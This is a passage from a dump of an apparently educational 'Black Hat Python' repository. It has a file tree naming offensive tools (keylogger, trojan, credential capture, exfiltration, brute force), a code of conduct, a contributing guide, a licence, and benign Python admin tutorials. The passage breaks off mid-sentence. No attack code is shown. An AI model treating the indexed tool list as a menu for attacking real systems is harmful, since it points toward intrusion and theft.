├── .github └── FUNDING.yml ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── Python Tools ├── Automating Regular Administrative Activities │ ├── Create backups of files or directories.md │ ├── Redirect input-output streams.md │ ├── Run scripts with user prompts.md │ ├── accept_by_input_file.md │ ├── accept_by_pipe.md │ ├── capture_output.md │ ├── execute_external_commands.md │ ├── generate_warnings.md │ ├── getpass_example.md │ ├── handling_password.md │ ├── list_dir.md │ ├── logging_example.md │ ├── logging_warnings_codes.md │ ├── no_prompt.md │ ├── open_web.md │ ├── os_dir_example.md │ ├── password_prompt_again.md │ ├── put_cpu_limit.md │ ├── read_config_file.md │ └── read_many_config_file.md ├── BHP Fuzzer │ ├── Burp Suite Extension: BHP Wordlist (Bing Search Integration).md │ ├── Burp Suite Extension: BHP Wordlist Generator.md │ └── Burp Suite Intruder Payload Generator (Python Extension).md ├── Browser Attacks │ ├── Browser Hijacking and Login Redirect.md │ ├── Document Exfiltration Using Tumblr.md │ ├── README.md │ ├── Simple HTTP Server for Capturing Credentials.md │ ├── decrypts and decompresses the encrypted data.md │ └── generates a new RSA key pair with a 2048-bit key length.md ├── DNS │ └── check_domains.md ├── Extras │ ├── SVN_README.txt │ ├── SVN_all.txt │ └── cain.txt ├── Forensics │ ├── Immunity Debugger.md │ ├── README.md │ ├── extract password hashes from a Windows memory dump using Volatility 3.md │ └── redirect execution to the injected shellcode.md ├── Github Command and Control │ ├── GitHub-based trojan.md │ ├── README.md │ ├── config │ │ └── abc.json │ └── modules │ │ ├── dirlister.py │ │ └── environment.py ├── HTTP │ ├── Check Open and Closed Ports on a Remote Host.md │ ├── Multithreaded TCP Port Scanning.md │ ├── Resolve Host Name from an IP Address.md │ ├── Scanning a Range of Ports on a Remote Host.md │ ├── Test a Socket Connection to a Remote Host.md │ └── brute-force HTTP authentication scan.md ├── Networking │ ├── ARP Cache Poisoning with Scapy.md │ ├── Basic SSH server using the paramiko.md │ ├── Directory & File Bruteforcer.md │ ├── Email Credential Sniffer in Python.md │ ├── Multi-threaded Brute-Force Login Script.md │ ├── Netcat Client & Server.md │ ├── PCAP Image Extractor & Face Detector.md │ ├── Packet Sniffer Decoding Header.md │ ├── Packet Sniffer Decoding ICMP.md │ ├── Python Subnet Scanner with ICMP Packet Analysis.md │ ├── SSH reverse tunneling.md │ ├── SSH with Paramiko.py │ ├── TCP Client.md │ ├── TCP Proxy.md │ ├── TCP Server.md │ ├── UDP Client.md │ ├── Web Path Scanner (Joomla Site Crawler).md │ ├── bhp_reverse_ssh_cmd.md │ ├── multi-threaded brute-force attack on a WordPress login page.md │ └── packet sniffer using raw sockets.md └── Trojaning Tasks on Windows │ ├── Code Injection.md │ ├── Monitor processes on a Windows system.md │ ├── README.md │ ├── Sandbox Detection.md │ ├── bhservice_task.vbs.txt │ ├── captures a screenshot of the entire desktop on a Windows system.md │ ├── execute shellcode from a web server.md │ ├── keylogger.md │ └── monitor specific directories.md ├── README.md └── SECURITY.md /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: awjunaid 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: awjunaid 10 | issuehunt: # Replace with a single IssueHunt username 11 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 12 | polar: # Replace with a single Polar username 13 | buy_me_a_coffee: awjunaid 14 | thanks_dev: # Replace with a single thanks.dev username 15 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 16 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Code of Conduct for Black Hat Python 2 | 3 | > [!CAUTION] 4 | This repository is designed to be a safe and educational resource for ethical hacking, security testing, and research. By using, contributing to, or engaging with this repository, you agree to follow this Code of Conduct. Violations may result in losing access to the repository, removal of your contributions, or further action, as outlined below. 5 | 6 | ### **1. Legal and Ethical Use Only** 7 | - **Ethical Purpose**: The tools and resources in this repository are intended for **ethical hacking, security research, and educational purposes only**. Use these tools solely within legal and ethical boundaries. Unauthorized access to or exploitation of systems you do not own or have explicit permission to test is strictly prohibited. 8 | - **Compliance with Laws**: Follow all applicable laws and regulations in your region and the region of the system owner. Unauthorized use is illegal and punishable under cybersecurity and data protection laws. 9 | - **Examples of Permitted Use**: 10 | - Security testing within a test environment. 11 | - Research on personal or organizational systems with explicit permission. 12 | - Participation in authorized **bug bounty programs** and **responsible disclosure programs**. 13 | 14 | > **Additional Resource**: [Electronic Frontier Foundation (EFF): Security Research and Legal Resources](https://www.eff.org/issues/coders/researchers) - Learn about legal rights and responsibilities in security research. 15 | 16 | ### **2. Respect Privacy** 17 | - **Data Protection**: Do not use these tools to access, store, or share personal data without explicit consent from the data owner. 18 | - **Privacy Laws**: Adhere to privacy regulations, such as **GDPR** (General Data Protection Regulation) and **CCPA** (California Consumer Privacy Act), where applicable. Do not use these tools for unauthorized data collection or distribution. 19 | - **Confidentiality**: Handle all data with confidentiality and only store or process sensitive data if it is essential to the security test and with full permission. 20 | 21 | > **Additional Resource**: [General Data Protection Regulation (GDPR) Overview](https://gdpr.eu/what-is-gdpr/) - Understand privacy obligations under GDPR. 22 | 23 | ### **3. Transparency and Accountability** 24 | - **Full Disclosure**: If you are using these tools in professional, academic, or contracted environments, fully disclose their use to relevant stakeholders, including employers, clients, or academic institutions. 25 | - **Permission-Based Use**: Only test environments, applications, and systems that you have direct authorization to access or test. Written consent is recommended whenever possible. 26 | - **Report Misuse**: If you witness or are made aware of any unethical or unauthorized use of tools from this repository, report it following your local cybersecurity laws and to any relevant authorities or platforms. 27 | 28 | > **Additional Resource**: [International Association of Privacy Professionals (IAPP): Accountability and Transparency in Security Testing](https://iapp.org/) 29 | 30 | ### **4. Contributing Guidelines** 31 | - **Ethical Contributions Only**: Contributions to this repository should align with ethical standards in cybersecurity. Malicious or exploitative code, as well as tools designed specifically to target others maliciously, will not be accepted. 32 | - **Documentation Required**: Contributions should include clear documentation and warnings about any risks or intended safe use. Provide detailed information on the testing environments and safe configurations. 33 | - **Constructive Applications**: Contributions should add value to the cybersecurity community, providing solutions, frameworks, or educational tools that promote ethical hacking and security testing. 34 | 35 | ### **5. Zero Tolerance for Malicious Activity** 36 | - **Prohibited Activities**: Any activity advocating for, facilitating, or encouraging unauthorized access, hacking, harassment, intimidation, or targeting individuals or organizations without consent is strictly prohibited. 37 | - **Consequences**: Violating this rule will result in immediate removal from the repository. Severe or repeated violations may be reported to legal authorities or platforms. 38 | 39 | ### **6. Support Ethical Hacking Practices** 40 | - **Encourage Education**: This repository encourages users to share resources and knowledge about responsible, ethical hacking. Use this platform to educate others about the importance of legal standards and ethical practices. 41 | - **Responsible Disclosure**: If you discover a vulnerability during a security test, follow responsible disclosure practices by notifying the system owner or following the procedures outlined in an authorized bug bounty program. 42 | 43 | > **Additional Resource**: [HackerOne: Guide to Responsible Disclosure](https://www.hackerone.com/disclosure-guidelines) 44 | 45 | ### **7. Community Respect** 46 | - **Respect All Contributors**: Treat all users, contributors, and stakeholders with respect. Avoid any language or actions that are discriminatory, offensive, or harassing. 47 | - **Foster Inclusivity**: Contribute positively to create an inclusive, supportive environment for all security researchers and students. 48 | 49 | --- 50 | 51 | > [!WARNING] 52 | By adhering to these guidelines, you contribute to a safe, ethical, and responsible community dedicated to cybersecurity. Violations of this Code of Conduct may result in removal from this repository and notification of relevant authorities if required. 53 | 54 | --- 55 | > [!TIP] 56 | This Code of Conduct helps ensure that the **Black Hat Python** in this repository are used responsibly and that the cybersecurity community upholds ethical and professional standards. 57 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contribution Guide 2 | 3 | Thank you for contributing to the **Black-Hat-Python** repository! This project aims to gather, develop, and organize a comprehensive set of tools for ethical hacking, cybersecurity, and penetration testing. Contributions from the community make this repository valuable and diverse. This guide provides an overview of how you can contribute effectively. 4 | 5 | ## Table of Contents 6 | 1. [Code of Conduct](#code-of-conduct) 7 | 2. [Getting Started](#getting-started) 8 | 3. [Types of Contributions](#types-of-contributions) 9 | 4. [How to Contribute](#how-to-contribute) 10 | 5. [Submission Guidelines](#submission-guidelines) 11 | 6. [Community and Support](#community-and-support) 12 | 13 | ## 1. Code of Conduct 14 | 15 | Please read and respect our [Code of Conduct](https://github.com/aw-junaid/Black-Hat-Python/blob/main/CODE_OF_CONDUCT.md). All contributors are expected to maintain a respectful, inclusive environment. Ethical considerations are paramount—our tools are intended for legal and educational purposes only. 16 | 17 | ## 2. Getting Started 18 | 19 | 1. **Fork the Repository**: Start by [forking the repository](https://github.com/aw-junaid/Black-Hat-Python) to your GitHub account. 20 | 2. **Clone Your Fork**: Clone your forked repository to your local machine: 21 | ```bash 22 | git clone https://github.com/aw-junaid/Black-Hat-Python 23 | ``` 24 | 3. **Switch to the Master Branch**: Ensure you are working on the `master` branch. 25 | ```bash 26 | git checkout master 27 | ``` 28 | 4. **Install Dependencies**: Follow any installation instructions in the repository to set up the environment. 29 | 30 | ## 3. Types of Contributions 31 | 32 | We welcome various types of contributions, including: 33 | 34 | - **New Tools**: Adding a new tool for hacking or penetration testing. 35 | - **Documentation**: Improving or expanding documentation, tutorials, and guides. 36 | - **Bug Fixes**: Resolving issues with existing tools or scripts. 37 | - **Enhancements**: Adding new features to existing tools or improving performance. 38 | - **Testing**: Writing test cases for tools to ensure reliability and accuracy. 39 | 40 | ## 4. How to Contribute 41 | 42 | ### Adding a New Tool 43 | 1. **Create a New Folder**: Add your tool in a new folder under `Black-Hat-Python/`. Name it descriptively (e.g., `Black-Hat-Python/example tools/`). 44 | 2. **Include Documentation**: Every tool should have a `README.md` file explaining: 45 | - Purpose of the tool 46 | - Installation instructions 47 | - Usage instructions 48 | - Examples of output 49 | 3. **Add Licensing Information**: Ensure that the tool complies with licensing policies. Include any required attribution or licensing information within your tool’s folder. 50 | 51 | ### Improving Documentation 52 | - Add examples, descriptions, or details to help others understand how to use the tools. 53 | - Ensure any technical terms or concepts are clearly explained. 54 | 55 | ### Bug Fixes and Enhancements 56 | - Review the open issues to find bugs or improvement suggestions. Provide details in your update about what you fixed or improved. 57 | - Make sure your updates do not introduce new bugs. 58 | 59 | ## 5. Submission Guidelines 60 | 61 | 1. **Run Tests**: Ensure that all tests pass before pushing your changes. 62 | 2. **Write Clear Commit Messages**: Use concise, descriptive commit messages. Example: 63 | ```bash 64 | git commit -m "Added new port scanning tool with usage instructions" 65 | ``` 66 | 3. **Push to the Master Branch**: 67 | - Push your changes directly to the `master` branch: 68 | ```bash 69 | git push origin master 70 | ``` 71 | 4. **Create a Pull Request (Optional)**: If you'd like feedback or a review from maintainers, you can create a pull request on your forked repository, although this is optional in a direct-to-master workflow. 72 | 73 | ## 6. Community and Support 74 | 75 | Join our [GitHub Discussions](https://github.com/aw-junaid/Kali-Linux/issues/1) or reach out via issues to discuss ideas, ask questions, or get guidance. We value and support all contributions—whether big or small! 76 | 77 | --- 78 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Abdul Wahab Junaid 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/Redirect input-output streams.md: -------------------------------------------------------------------------------- 1 | This script **redirects standard input (`stdin`)** and allows reading input while also writing it to standard output (`stdout`). This can be useful for **logging user inputs** while still processing them normally. 2 | 3 | ```python 4 | import sys 5 | class Redirection(object): 6 | def __init__(self, in_obj, out_obj): 7 | self.input = in_obj 8 | self.output = out_obj 9 | 10 | def read_line(self): 11 | res = self.input.readline() 12 | self.output.write(res) 13 | return res 14 | 15 | if __name__ == '__main__': 16 | if not sys.stdin.isatty(): 17 | sys.stdin = Redirection(in_obj=sys.stdin, out_obj=sys.stdout) 18 | 19 | a = input('Enter a string: ') 20 | b = input('Enter another string: ') 21 | print ('Entered strings are: ', repr(a), 'and', repr(b)) 22 | ``` 23 | 24 | --- 25 | 26 | ## **Breakdown of the Code** 27 | ### **1. Import Required Module** 28 | ```python 29 | import sys 30 | ``` 31 | - `sys` provides access to the standard input (`sys.stdin`) and output (`sys.stdout`). 32 | 33 | --- 34 | 35 | ### **2. Define the `Redirection` Class** 36 | ```python 37 | class Redirection(object): 38 | def __init__(self, in_obj, out_obj): 39 | self.input = in_obj 40 | self.output = out_obj 41 | ``` 42 | - **`Redirection` class** takes two arguments: 43 | - `in_obj`: Input source (e.g., `sys.stdin`). 44 | - `out_obj`: Output destination (e.g., `sys.stdout`). 45 | 46 | --- 47 | 48 | ### **3. Method to Read and Write Simultaneously** 49 | ```python 50 | def read_line(self): 51 | res = self.input.readline() # Read from input source 52 | self.output.write(res) # Write the same input to output 53 | return res 54 | ``` 55 | - Reads a **line from input** and immediately **writes it to output**. 56 | - This **logs user input** while keeping standard input behavior. 57 | 58 | --- 59 | 60 | ### **4. Main Execution Block** 61 | ```python 62 | if __name__ == '__main__': 63 | ``` 64 | - Ensures the script **only runs when executed directly**, not when imported as a module. 65 | 66 | --- 67 | 68 | ### **5. Check if `sys.stdin` is Attached to a Terminal** 69 | ```python 70 | if not sys.stdin.isatty(): 71 | sys.stdin = Redirection(in_obj=sys.stdin, out_obj=sys.stdout) 72 | ``` 73 | - `sys.stdin.isatty()` checks if the **script is running in an interactive terminal**. 74 | - If **not** (e.g., input is coming from a file or pipe), `sys.stdin` is **replaced** with an instance of `Redirection`. 75 | 76 | --- 77 | 78 | ### **6. Accept User Inputs** 79 | ```python 80 | a = input('Enter a string: ') 81 | b = input('Enter another string: ') 82 | ``` 83 | - Takes two user inputs **normally**. 84 | - If `sys.stdin` was redirected, input will also be **written to `sys.stdout`**. 85 | 86 | --- 87 | 88 | ### **7. Display Entered Strings** 89 | ```python 90 | print ('Entered strings are: ', repr(a), 'and', repr(b)) 91 | ``` 92 | - Prints **both strings** in their raw format (`repr()` preserves escape sequences). 93 | 94 | --- 95 | 96 | ## **How to Run the Script** 97 | ### ✅ **Run in Normal Mode (Interactive)** 98 | ```sh 99 | python script.py 100 | ``` 101 | #### **Expected Output** 102 | ``` 103 | Enter a string: Hello 104 | Enter another string: World 105 | Entered strings are: 'Hello' and 'World' 106 | ``` 107 | 108 | --- 109 | 110 | ### ✅ **Run with Input from a File** 111 | 1. **Create `input.txt`** with the following: 112 | ``` 113 | Hello 114 | World 115 | ``` 116 | 2. **Run with Redirection:** 117 | ```sh 118 | python script.py < input.txt 119 | ``` 120 | #### **Expected Output** 121 | ``` 122 | Hello 123 | World 124 | Entered strings are: 'Hello' and 'World' 125 | ``` 126 | - Even though input is **read from a file**, it's also **written to stdout**. 127 | 128 | --- 129 | 130 | ### ✅ **Run with a Pipe** 131 | ```sh 132 | echo -e "Python\nRocks" | python script.py 133 | ``` 134 | #### **Expected Output** 135 | ``` 136 | Python 137 | Rocks 138 | Entered strings are: 'Python' and 'Rocks' 139 | ``` 140 | - **Input from `echo` is also printed to stdout**. 141 | 142 | --- 143 | 144 | ## **Key Takeaways** 145 | ✅ **Intercepts user input and logs it**. 146 | ✅ **Works for both interactive and redirected input**. 147 | ✅ **Uses `sys.stdin.isatty()` to detect non-interactive modes**. 148 | ✅ **Preserves normal input behavior while logging**. 149 | 150 | --- 151 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/Run scripts with user prompts.md: -------------------------------------------------------------------------------- 1 | This script **securely prompts the user for a password** using Python’s `getpass` module. It ensures that the password input is **not echoed** on the screen for security reasons. 2 | 3 | ```python 4 | import getpass 5 | try: 6 | p = getpass.getpass("Enter your password: ") 7 | except Exception as error: 8 | print('ERROR', error) 9 | else: 10 | print('Password entered:', p) 11 | ``` 12 | 13 | --- 14 | 15 | ## **Breakdown of the Code** 16 | ### **1. Import Required Module** 17 | ```python 18 | import getpass 19 | ``` 20 | - `getpass` provides a **secure way to prompt the user for input** without displaying it. 21 | 22 | --- 23 | 24 | ### **2. Try to Get User Input Securely** 25 | ```python 26 | try: 27 | p = getpass.getpass("Enter your password: ") 28 | ``` 29 | - `getpass.getpass(prompt)`: 30 | - Displays the prompt `"Enter your password: "`. 31 | - **Hides the input characters** (useful for password entry). 32 | - Works in both **CLI and terminal** but **may fail in some IDEs** (e.g., Jupyter Notebook). 33 | 34 | --- 35 | 36 | ### **3. Handle Exceptions** 37 | ```python 38 | except Exception as error: 39 | print('ERROR', error) 40 | ``` 41 | - If `getpass.getpass()` fails (e.g., **running in an unsupported environment**), it **catches the exception** and prints an error message. 42 | 43 | --- 44 | 45 | ### **4. Print the Entered Password (For Testing)** 46 | ```python 47 | else: 48 | print('Password entered:', p) 49 | ``` 50 | - **For security reasons, you should not print passwords in real applications**. 51 | - This line is just for testing purposes. 52 | 53 | --- 54 | 55 | ## **How to Run the Script** 56 | ### ✅ **Run in Terminal or Command Line** 57 | ```sh 58 | python script.py 59 | ``` 60 | #### **Expected Output** 61 | ``` 62 | Enter your password: (input hidden) 63 | Password entered: ********* # Input is hidden but stored 64 | ``` 65 | 66 | --- 67 | 68 | ## **Potential Issues** 69 | ### ⚠️ **Does Not Work in Some IDEs** 70 | - `getpass.getpass()` **may fail in Jupyter Notebook, VS Code terminal, or IDLE**. 71 | - Instead, use **plain `input()`** for debugging: 72 | ```python 73 | p = input("Enter your password: ") 74 | ``` 75 | - ❌ **Not secure** (password is visible). 76 | - ✅ **Works in all environments**. 77 | 78 | --- 79 | 80 | ## **Key Takeaways** 81 | ✅ **Uses `getpass` for secure password entry**. 82 | ✅ **Prevents passwords from being displayed on screen**. 83 | ✅ **Handles exceptions if `getpass` fails**. 84 | ✅ **Should not print the password in real applications**. 85 | 86 | --- 87 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/accept_by_input_file.md: -------------------------------------------------------------------------------- 1 | 2 | ```python 3 | # File Handling in Python: Reading from One File and Writing to Another 4 | 5 | # Open the input file 'sample.txt' in read mode ('r') 6 | i = open('sample.txt', 'r') 7 | 8 | # Open the output file 'sample_output.txt' in write mode ('w') 9 | o = open('sample_output.txt', 'w') 10 | 11 | # Read the entire content of 'sample.txt' 12 | a = i.read() 13 | 14 | # Write the content to 'sample_output.txt' 15 | o.write(a) 16 | 17 | # Close both files to free resources 18 | i.close() 19 | o.close() 20 | ``` 21 | 22 | ### Explanation: 23 | 1. `open('sample.txt', 'r')`: Opens the file `sample.txt` in **read mode**. 24 | 2. `open('sample_output.txt', 'w')`: Opens (or creates) `sample_output.txt` in **write mode**. 25 | 3. `i.read()`: Reads the entire content of `sample.txt` and stores it in variable `a`. 26 | 4. `o.write(a)`: Writes the content stored in `a` to `sample_output.txt`. 27 | 5. `i.close()`: Closes the input file. 28 | 6. `o.close()`: Closes the output file. 29 | 30 | ### How to Run: 31 | 1. Make sure `sample.txt` exists in the same directory as your Python script. 32 | 2. Save the above code as `copy_file.py`. 33 | 3. Open a terminal or command prompt. 34 | 4. Run the script using: 35 | ``` 36 | python copy_file.py 37 | ``` 38 | 5. The content of `sample.txt` will be copied to `sample_output.txt`. 39 | 40 | #### Best Practice: 41 | Instead of manually closing files, use the `with` statement, which automatically handles closing: 42 | ```python 43 | # Using 'with' for automatic file closing 44 | with open('sample.txt', 'r') as i, open('sample_output.txt', 'w') as o: 45 | o.write(i.read()) # Read from input file and write to output file 46 | ``` 47 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/accept_by_pipe.md: -------------------------------------------------------------------------------- 1 | This Python script reads input from the standard input (`sys.stdin`), processes each line, and prints the integer division of the number by 2. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import sys # Import the sys module to read from standard input 8 | 9 | for n in sys.stdin: # Iterate over each line of input 10 | print(int(n.strip()) // 2) # Convert input to integer, divide by 2 (integer division), and print the result 11 | ``` 12 | 13 | --- 14 | 15 | ### **How It Works** 16 | 1. **`import sys`** → The `sys` module allows interaction with the standard input (stdin). 17 | 2. **`for n in sys.stdin:`** → Reads each line from the standard input. 18 | 3. **`n.strip()`** → Removes any leading or trailing whitespace or newline characters. 19 | 4. **`int(n.strip())`** → Converts the cleaned input string into an integer. 20 | 5. **`// 2`** → Performs **integer division** (floor division) by 2. 21 | 6. **`print(...)`** → Outputs the result. 22 | 23 | --- 24 | 25 | ### **How to Run the Script** 26 | #### **Method 1: Running from Command Line with Piped Input** 27 | ```sh 28 | echo -e "10\n15\n20" | python script.py 29 | ``` 30 | **Output:** 31 | ``` 32 | 5 33 | 7 34 | 10 35 | ``` 36 | Explanation: 37 | - `echo -e` prints multiple lines (`10`, `15`, `20`). 38 | - The `|` operator pipes the output of `echo` into `script.py`. 39 | - The script reads each number, divides it by 2, and prints the result. 40 | 41 | --- 42 | 43 | #### **Method 2: Running Interactively** 44 | 1. Save the script as `divide_by_2.py`. 45 | 2. Run the script: 46 | ```sh 47 | python divide_by_2.py 48 | ``` 49 | 3. Enter numbers manually, pressing **Enter** after each one: 50 | ``` 51 | 8 52 | 4 53 | 15 54 | ``` 55 | 4. The script will output: 56 | ``` 57 | 4 58 | 2 59 | 7 60 | ``` 61 | 5. To **exit**, press `Ctrl + D` (Linux/macOS) or `Ctrl + Z` followed by `Enter` (Windows). 62 | 63 | --- 64 | 65 | ### **Best Practices** 66 | Using `try-except` to handle invalid input: 67 | ```python 68 | import sys 69 | 70 | for n in sys.stdin: 71 | try: 72 | print(int(n.strip()) // 2) 73 | except ValueError: 74 | print("Invalid input, please enter a number") 75 | ``` 76 | This prevents errors if the user enters non-numeric values. 77 | 78 | Let me know if you need further modifications! 🚀 79 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/capture_output.md: -------------------------------------------------------------------------------- 1 | This Python script runs a shell command (`ls -1`), captures its output, and displays information about the process execution. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import subprocess # Import the subprocess module 8 | 9 | # Run the 'ls -1' command and capture the output 10 | res = subprocess.run(['ls', '-1'], stdout=subprocess.PIPE) 11 | 12 | # Print the return code of the process 13 | print('returncode:', res.returncode) 14 | 15 | # Print the number of bytes in stdout and the decoded output 16 | print(' {} bytes in stdout:\n{}'.format(len(res.stdout), res.stdout.decode('utf-8'))) 17 | ``` 18 | 19 | --- 20 | 21 | ### **How It Works** 22 | 1. **`import subprocess`** → Imports the `subprocess` module to execute shell commands from Python. 23 | 2. **`subprocess.run(['ls', '-1'], stdout=subprocess.PIPE)`** 24 | - Executes the `ls -1` command in the shell. 25 | - `ls -1` lists files in the current directory, one per line. 26 | - `stdout=subprocess.PIPE` captures the command’s output. 27 | 3. **`res.returncode`** → Gets the exit code of the process (0 indicates success). 28 | 4. **`len(res.stdout)`** → Finds the number of bytes in the output. 29 | 5. **`res.stdout.decode('utf-8')`** → Decodes the output from bytes to a readable string. 30 | 31 | --- 32 | 33 | ### **Example Output** 34 | If the current directory contains `file1.txt`, `file2.py`, and `folder1/`, running the script would produce: 35 | 36 | ``` 37 | returncode: 0 38 | 24 bytes in stdout: 39 | file1.txt 40 | file2.py 41 | folder1 42 | ``` 43 | 44 | --- 45 | 46 | ### **How to Run the Script** 47 | 1. Save the script as `list_files.py`. 48 | 2. Open a terminal and navigate to the script’s directory. 49 | 3. Run the script: 50 | ```sh 51 | python list_files.py 52 | ``` 53 | 54 | --- 55 | 56 | ### **Cross-Platform Compatibility** 57 | - **Linux/macOS** → `ls` works by default. 58 | - **Windows** → `ls` is not a built-in command. Use: 59 | ```python 60 | res = subprocess.run(['dir'], shell=True, stdout=subprocess.PIPE) 61 | ``` 62 | Or use `os.listdir()` for a built-in alternative. 63 | 64 | --- 65 | 66 | ### **Improved Version with Error Handling** 67 | To handle errors and ensure compatibility, use: 68 | ```python 69 | import subprocess 70 | 71 | try: 72 | res = subprocess.run(['ls', '-1'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True) 73 | print('returncode:', res.returncode) 74 | print(' {} bytes in stdout:\n{}'.format(len(res.stdout), res.stdout.decode('utf-8'))) 75 | except subprocess.CalledProcessError as e: 76 | print('Error:', e) 77 | ``` 78 | 79 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/execute_external_commands.md: -------------------------------------------------------------------------------- 1 | This Python script demonstrates how to create, list, and delete a file using the `subprocess` module to execute shell commands. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import subprocess # Import the subprocess module 8 | 9 | # Create a new empty file named 'sample.txt' 10 | subprocess.call(["touch", "sample.txt"]) 11 | 12 | # List all files in the current directory 13 | subprocess.call(["ls"]) 14 | 15 | # Print confirmation message 16 | print("Sample file created") 17 | 18 | # Delete the file 'sample.txt' 19 | subprocess.call(["rm", "sample.txt"]) 20 | 21 | # List files again to show that 'sample.txt' is deleted 22 | subprocess.call(["ls"]) 23 | 24 | # Print confirmation message 25 | print("Sample file deleted") 26 | ``` 27 | 28 | --- 29 | 30 | ### **How It Works** 31 | 1. **`subprocess.call(["touch", "sample.txt"])`** → Runs the `touch sample.txt` command to create an empty file. 32 | 2. **`subprocess.call(["ls"])`** → Lists the contents of the current directory. 33 | 3. **`print("Sample file created")`** → Displays a confirmation message. 34 | 4. **`subprocess.call(["rm", "sample.txt"])`** → Runs `rm sample.txt` to delete the file. 35 | 5. **`subprocess.call(["ls"])`** → Lists files again, showing that `sample.txt` is no longer present. 36 | 6. **`print("Sample file deleted")`** → Displays another confirmation message. 37 | 38 | --- 39 | 40 | ### **Example Output** 41 | ``` 42 | file1.txt file2.py sample.txt 43 | Sample file created 44 | file1.txt file2.py 45 | Sample file deleted 46 | ``` 47 | - Initially, `sample.txt` is created and shown in the `ls` output. 48 | - After deletion, `ls` no longer lists `sample.txt`. 49 | 50 | --- 51 | 52 | ### **How to Run the Script** 53 | 1. Save the script as `file_operations.py`. 54 | 2. Open a terminal and navigate to the script’s directory. 55 | 3. Run: 56 | ```sh 57 | python file_operations.py 58 | ``` 59 | 60 | --- 61 | 62 | ### **Windows Compatibility** 63 | - `touch` and `rm` are **not available** in Windows Command Prompt (`cmd`). 64 | - Use **PowerShell equivalents**: 65 | ```python 66 | import subprocess 67 | 68 | # Create a file 69 | subprocess.call(["powershell", "New-Item", "-Path", "sample.txt", "-ItemType", "File"]) 70 | 71 | # List files 72 | subprocess.call(["dir"], shell=True) 73 | 74 | print("Sample file created") 75 | 76 | # Delete the file 77 | subprocess.call(["powershell", "Remove-Item", "sample.txt"]) 78 | 79 | # List files again 80 | subprocess.call(["dir"], shell=True) 81 | 82 | print("Sample file deleted") 83 | ``` 84 | 85 | --- 86 | 87 | ### **Improved Version with Error Handling** 88 | To handle potential errors, modify the script as follows: 89 | ```python 90 | import subprocess 91 | 92 | try: 93 | subprocess.check_call(["touch", "sample.txt"]) 94 | subprocess.check_call(["ls"]) 95 | print("Sample file created") 96 | 97 | subprocess.check_call(["rm", "sample.txt"]) 98 | subprocess.check_call(["ls"]) 99 | print("Sample file deleted") 100 | except subprocess.CalledProcessError as e: 101 | print("Error:", e) 102 | ``` 103 | - `subprocess.check_call()` raises an exception if a command fails. 104 | - Ensures error handling in case of permission issues or missing commands. 105 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/generate_warnings.md: -------------------------------------------------------------------------------- 1 | ```python 2 | # Demonstrating Warning Handling in Python 3 | 4 | import warnings 5 | 6 | # Configure warnings to raise an exception instead of just printing 7 | warnings.simplefilter('error', UserWarning) 8 | 9 | print('Before') # This line will execute 10 | 11 | # Generate a UserWarning. Because we've set the filter to 'error', 12 | # this will raise an exception and halt execution. 13 | warnings.warn('Write your warning message here') 14 | 15 | print('After') # This line will NOT execute because of the raised exception 16 | ``` 17 | 18 | **Explanation:** 19 | 20 | 1. **Import `warnings`:** This line imports the `warnings` module, which provides tools for handling warnings. 21 | 22 | 2. **`warnings.simplefilter('error', UserWarning)`:** This is the crucial part. `warnings.simplefilter()` is used to control how warnings are handled. 23 | - `'error'` means that any warning matching the specified category will be treated as an exception, interrupting the program's flow. 24 | - `UserWarning` specifies that this rule applies only to warnings of the `UserWarning` category. This is a standard category for warnings that you, the programmer, generate. There are other warning categories as well. 25 | 26 | 3. **`print('Before')`:** This line will execute and print "Before" to the console. 27 | 28 | 4. **`warnings.warn('Write your warning message here')`:** This line generates a `UserWarning` with the message "Write your warning message here". Because of the `simplefilter` setting, this warning is *not* just printed; it's raised as an exception. 29 | 30 | 5. **`print('After')`:** This line will *not* 